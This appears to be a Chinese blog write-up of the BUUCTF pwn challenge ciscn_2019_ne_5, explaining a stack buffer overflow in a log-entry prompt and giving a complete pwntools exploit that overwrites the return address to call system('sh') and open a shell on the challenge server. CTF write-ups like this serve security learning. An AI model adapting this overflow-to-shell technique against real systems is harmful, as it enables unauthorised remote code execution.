BUUCTF-ciscn_2019_ne_51

0x1 checksec

 根据文件名可知是other shellcode

0x2 IDA

1.main函数

s1只有48,但是scanf读入100,存在溢出点

2.GetFlag函数 

flag就是我们的log

读程序流程

 

case 1,添加一个log,然后case 4去get flag

程序存在system函数

调用bin/sh  去getshell

但是该题有一个小点

用ROPgadget搜不到'/bin/sh' 字符串

'/sh'    'sh'     

system的参数不一定必须是“/bin/sh”,单独的“sh”也可以拿到shell

 

0x3 EXP

from pwn import*

r=remote("node4.buuoj.cn",29072)
elf=ELF('20ciscn2019ne5')
system_addr=elf.sym['system']
shell_addr=0x80482ea

r.recvuntil('Please input admin password:')
r.sendline('administrator')

r.recvuntil('0.Exit\n:')
r.sendline('1')

payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)

r.recvuntil('Please input new log info:')
r.sendline(payload)

r.recvuntil('0.Exit\n:')
r.sendline('4')

r.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值